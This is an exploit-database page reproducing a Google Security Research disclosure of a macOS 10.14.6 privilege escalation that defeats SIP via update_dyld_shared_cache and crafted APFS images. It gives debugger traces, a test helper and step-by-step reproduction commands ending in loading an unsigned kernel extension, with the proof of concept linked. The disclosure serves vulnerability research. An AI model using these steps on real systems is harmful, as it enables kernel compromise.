Search for hundreds of thousands of exploits

"macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

macos

Release date

Exploit published date

2019-11-22

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
Tested on macOS Mojave (10.14.6, 18G87) and Catalina Beta (10.15 Beta 19A536g).

On macOS, the dyld shared cache (in /private/var/db/dyld/) is generated locally
on the system and therefore doesn't have a real code signature;
instead, SIP seems to be the only mechanism that prevents modifications of the
dyld shared cache.
update_dyld_shared_cache, the tool responsible for generating the shared cache,
is able to write to /private/var/db/dyld/ because it has the
com.apple.rootless.storage.dyld entitlement. Therefore, update_dyld_shared_cache
is responsible for ensuring that it only writes data from trustworthy libraries
when updating the shared cache.

update_dyld_shared_cache accepts two interesting command-line arguments that
make it difficult to enforce these security properties:

 - "-root": Causes libraries to be read from, and the cache to be written to, a
   caller-specified filesystem location.
 - "-overlay": Causes libraries to be read from a caller-specified filesystem
   location before falling back to normal system directories.

There are some checks related to this, but they don't look very effective.
main() tries to see whether the target directory is protected by SIP:

    bool requireDylibsBeRootlessProtected = isProtectedBySIP(cacheDir);

If that variable is true, update_dyld_shared_cache attempts to ensure that all
source libraries are also protected by SIP.

isProtectedBySIP() is implemented as follows:

    bool isProtectedBySIP(const std::string& path)
    {
        if ( !sipIsEnabled() )
            return false;

        return (rootless_check_trusted(path.c_str()) == 0);
    }

Ignoring that this looks like a typical symlink race issue, there's another
problem:

Looking in a debugger (with SIP configured so that only debugging restrictions
and dtrace restrictions are disabled), it seems like rootless_check_trusted()
doesn't work as expected:

    bash-3.2# lldb /usr/bin/update_dyld_shared_cache 
    [...]
    (lldb) breakpoint set --name isProtectedBySIP(std::__1::basic_string<char,\ std::__1::char_traits<char>,\ std::__1::allocator<char>\ >\ const&) 
    Breakpoint 1: where = update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), address = 0x00000001000433a4
    [...]
    (lldb) run -force
    Process 457 launched: '/usr/bin/update_dyld_shared_cache' (x86_64)
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
        frame #0: 0x00000001000433a4 update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)
    update_dyld_shared_cache`isProtectedBySIP:
    ->  0x1000433a4 <+0>: pushq  %rbp
        0x1000433a5 <+1>: movq   %rsp, %rbp
        0x1000433a8 <+4>: pushq  %rbx
        0x1000433a9 <+5>: pushq  %rax
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) breakpoint set --name rootless_check_trusted
    Breakpoint 2: where = libsystem_sandbox.dylib`rootless_check_trusted, address = 0x00007fff5f32b8ea
    (lldb) continue 
    Process 457 resuming
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
        frame #0: 0x00007fff5f32b8ea libsystem_sandbox.dylib`rootless_check_trusted
    libsystem_sandbox.dylib`rootless_check_trusted:
    ->  0x7fff5f32b8ea <+0>: pushq  %rbp
        0x7fff5f32b8eb <+1>: movq   %rsp, %rbp
        0x7fff5f32b8ee <+4>: movl   $0xffffffff, %esi         ; imm = 0xFFFFFFFF 
        0x7fff5f32b8f3 <+9>: xorl   %edx, %edx
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) print (char*)$rdi
    (char *) $0 = 0x00007ffeefbff171 "/private/var/db/dyld/"
    (lldb) finish
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = step out

        frame #0: 0x00000001000433da update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) + 54
    update_dyld_shared_cache`isProtectedBySIP:
    ->  0x1000433da <+54>: testl  %eax, %eax
        0x1000433dc <+56>: sete   %al
        0x1000433df <+59>: addq   $0x8, %rsp
        0x1000433e3 <+63>: popq   %rbx
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) print $rax
    (unsigned long) $1 = 1

Looking around with a little helper (under the assumption that it doesn't behave
differently because it doesn't have the entitlement), it looks like only a small
part of the SIP-protected directories show up as protected when you check with
rootless_check_trusted():

    bash-3.2# cat rootless_test.c
    #include <stdio.h>

    int rootless_check_trusted(char *);

    int main(int argc, char **argv) {
      int res = rootless_check_trusted(argv[1]);
      printf("rootless status for '%s': %d (%s)\n", argv[1], res, (res == 0) ? "PROTECTED" : "MALLEABLE");
    }
    bash-3.2# ./rootless_test /
    rootless status for '/': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System
    rootless status for '/System': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/
    rootless status for '/System/': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/Library
    rootless status for '/System/Library': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/Library/Assets
    rootless status for '/System/Library/Assets': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System/Library/Caches
    rootless status for '/System/Library/Caches': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System/Library/Caches/com.apple.kext.caches
    rootless status for '/System/Library/Caches/com.apple.kext.caches': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /usr
    rootless status for '/usr': 0 (PROTECTED)
    bash-3.2# ./rootless_test /usr/local
    rootless status for '/usr/local': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /private
    rootless status for '/private': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /private/var/db
    rootless status for '/private/var/db': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /private/var/db/dyld/
    rootless status for '/private/var/db/dyld/': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /sbin
    rootless status for '/sbin': 0 (PROTECTED)
    bash-3.2# ./rootless_test /Applications/Mail.app/
    rootless status for '/Applications/Mail.app/': 0 (PROTECTED)
    bash-3.2# 

Perhaps rootless_check_trusted() limits its trust to paths that are writable
exclusively using installer entitlements like com.apple.rootless.install, or
something like that? That's the impression I get when testing different entries
from /System/Library/Sandbox/rootless.conf - the entries with no whitelisted
specific entitlement show up as protected, the ones with a whitelisted specific
entitlement show up as malleable.
rootless_check_trusted() checks for the "file-write-data" permission through the
MAC syscall, but I haven't looked in detail at how the policy actually looks.

(By the way, looking at update_dyld_shared_cache, I'm not sure whether it would
actually work if the requireDylibsBeRootlessProtected flag is true - it looks
like addIfMachO() would never add any libraries to dylibsForCache because
`sipProtected` is fixed to `false` and the call to isProtectedBySIP() is
commented out?)


In theory, this means it's possible to inject a modified version of a library
into the dyld cache using either the -root or the -overlay flag of
update_dyld_shared_cache, reboot, and then run an entitled binary that will use
the modified library. However, there are (non-security) checks that make this
annoying:

 - When loading libraries, loadPhase5load() checks whether the st_ino and
   st_mtime of the on-disk library match the ones embedded in the dyld cache at
   build time.
 - Recently, dyld started ensuring that the libraries are all on the "boot
   volume" (the path specified with "-root", or "/" if no root was specified).

The inode number check means that it isn't possible to just create a malicious
copy of a system library, run `update_dyld_shared_cache -overlay`, and reboot to
use the malicious copy; the modified library will have a different inode number.
I don't know whether HFS+ reuses inode numbers over time, but on APFS, not even
that is possible; inode numbers are monotonically incrementing 64-bit integers.

Since root (and even normal users) can mount filesystem images, I decided to
create a new filesystem with appropriate inode numbers.
I think HFS probably can't represent the full range of inode numbers that APFS
can have (and that seem to show up on volumes that have been converted from
HFS+ - that seems to result in inode numbers like 0x0fffffff00001666), so I
decided to go with an APFS image. Writing code to craft an entire APFS
filesystem would probably take quite some time, and the public open-source APFS
implementations seem to be read-only, so I'm first assembling a filesystem image
normally (create filesystem with newfs_apfs, mount it, copy files in, unmount),
then renumbering the inodes. By storing files in the right order, I don't even
need to worry about allocating and deallocating space in tree nodes and
such - all replacements can be performed in-place.

My PoC patches the cached version of csr_check() from libsystem_kernel.dylib so
that it always returns zero, which causes the userspace kext loading code to
ignore code signing errors.


To reproduce:

 - Ensure that SIP is on.
 - Ensure that you have at least something like 8GiB of free disk space.
 - Unpack the attached dyld_sip.tar (as normal user).
 - Run ./collect.sh (as normal user). This should take a couple minutes, with
   more or less continuous status updates. At the end, it should say "READY"
   after mounting an image to /private/tmp/L.
   (If something goes wrong here and you want to re-run the script, make sure to
   detach the volume if the script left it attached - check "hdiutil info".)
 - As root, run "update_dyld_shared_cache -force -root /tmp/L".
 - Reboot the machine.
 - Build an (unsigned) kext from source. I have attached source code for a
   sample kext as testkext.tar - you can unpack it and use xcodebuild -, but
   that's just a simple "hello world" kext, you could also use anything else.
 - As root, copy the kext to /tmp/.
 - As root, run "kextutil /tmp/[...].kext". You should see something like this:

         bash-3.2# cp -R testkext/build/Release/testkext.kext /tmp/ && kextutil /tmp/testkext.kext
         Kext with invalid signatured (-67050) allowed: <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
         Code Signing Failure: code signature is invalid
         Disabling KextAudit: SIP is off
         Invalid signature -67050 for kext <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
         bash-3.2# dmesg|tail -n1
         test kext loaded
         bash-3.2# kextstat | grep test
           120    0 0xffffff7f82a50000 0x2000     0x2000     net.thejh.test.testkext (1) A24473CD-6525-304A-B4AD-B293016E5FF0 <5>
         bash-3.2# 


Miscellaneous notes:

 - It looks like there's an OOB kernel write in the dyld shared cache pager; but
   AFAICS that isn't reachable unless you've already defeated SIP, so I don't
   think it's a vulnerability:
   vm_shared_region_slide_page_v3() is used when a page from the dyld cache is
   being paged in. It essentially traverses a singly-linked list of relocations
   inside the page; the offset of the first relocation (iow the offset of the
   list head) is stored permanently in kernel memory when the shared cache is
   initialized.
   As far as I can tell, this function is missing bounds checks; if either the
   starting offset or the offset stored in the page being paged in points
   outside the page, a relocation entry will be read from OOB memory, and a
   relocated address will conditionally be written back to the same address.
 - There is a check `rootPath != "/"` in update_dyld_shared_cache; but further
   up is this:

       // canonicalize rootPath
       if ( !rootPath.empty() ) {
           char resolvedPath[PATH_MAX];
           if ( realpath(rootPath.c_str(), resolvedPath) != NULL ) {
               rootPath = resolvedPath;
           }
           // <rdar://problem/33223984> when building closures for boot volume, pathPrefixes should be empty
           if ( rootPath == "/" ) {
               rootPath = "";
           }
       }

   So as far as I can tell, that condition is always true, which means that when
   an overlay path is specified with `-overlay`, the cache is written to the
   root even though the code looks as if the cache is intended to be written to
   the overlay.
 - Some small notes regarding the APFS documentation at
   <https://developer.apple.com/support/downloads/Apple-File-System-Reference.pdf>:
  - The typedef for apfs_superblock_t is missing.
  - The documentation claims that APFS_TYPE_DIR_REC keys are j_drec_key_t, but
    actually they can be j_drec_hashed_key_t.
  - The documentation claims that o_cksum is "The Fletcher 64 checksum of the
    object", but actually APFS requires that the fletcher64 checksum of all data
    behind the checksum concatenated with the checksum is zero.
    (In other words, you cut out the checksum field at the start, append it at
    the end, then run fletcher64 over the buffer, and then you have to get an
    all-zeroes checksum.)


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47708.zip
Release DateTitleTypePlatformAuthor
2020-02-10"iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()"dosmultiple"Google Security Research"
2020-02-10"usersctp - Out-of-Bounds Reads in sctp_load_addresses_from_init"doslinux"Google Security Research"
2020-01-28"macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image"dosmultiple"Google Security Research"
2020-01-14"Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN"dosandroid"Google Security Research"
2020-01-14"WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM"dosandroid"Google Security Research"
2019-12-18"macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()"dosmacos"Google Security Research"
2019-12-16"Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds"locallinux"Google Security Research"
2019-12-11"Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font"doswindows"Google Security Research"
2019-11-22"Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback"doswindows"Google Security Research"
2019-11-22"macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache"localmacos"Google Security Research"
2019-11-20"iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd"dosios"Google Security Research"
2019-11-20"Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs"doslinux"Google Security Research"
2019-11-20"Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path"doslinux"Google Security Research"
2019-11-11"iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address"dosmultiple"Google Security Research"
2019-11-11"Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed OTF Font (CFF Table)"doswindows"Google Security Research"
2019-11-11"Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed JBIG2Globals Stream"doswindows"Google Security Research"
2019-11-05"JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects"dosmultiple"Google Security Research"
2019-11-05"macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()"dosmacos"Google Security Research"
2019-11-05"WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive"dosmultiple"Google Security Research"
2019-10-30"JavaScriptCore - GetterSetter Type Confusion During DFG Compilation"dosmultiple"Google Security Research"
2019-10-28"WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed"dosmultiple"Google Security Research"
2019-10-21"Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)"doswindows"Google Security Research"
2019-10-10"Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-10"Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File"doswindows"Google Security Research"
2019-10-09"XNU - Remote Double-Free via Data Race in IPComp Input Path"dosmacos"Google Security Research"
2019-10-04"Android - Binder Driver Use-After-Free"localandroid"Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/47708/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.